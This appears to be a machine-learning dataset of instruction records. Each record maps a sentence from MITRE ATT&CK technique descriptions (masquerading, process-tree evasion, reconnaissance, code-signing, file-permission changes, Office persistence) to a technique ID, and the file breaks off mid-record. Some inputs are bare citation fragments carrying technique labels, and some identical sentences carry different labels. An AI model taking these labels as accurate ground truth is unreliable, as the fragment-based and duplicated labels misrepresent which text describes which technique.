completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information may be used to enhance their awareness of the system and network environment or may be used for further actions. ### Response: T1120."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID).", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree. ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation:", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sandfly BPFDoor 2022)(Citation:", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sandfly BPFDoor 2022)(Citation: ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft XorDdos Linux Stealth 2022)", "output": "T1036.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft XorDdos Linux Stealth 2022) ### Response: T1036.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network topology that can be used during targeting.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network topology that can be used during targeting. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster)", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build capabilities that can be used during targeting.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build capabilities that can be used during targeting. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Promethium June 2020)", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Promethium June 2020) ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing capabilities.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing capabilities. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed code signing certificates that can be used during targeting.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed code signing certificates that can be used during targeting. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable malicious activity such as modifying, replacing, or deleting specific files or directories.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also change permissions of symbolic links.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also change permissions of symbolic links. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a matching entry is found, access to the object is granted.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a matching entry is found, access to the object is granted. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": 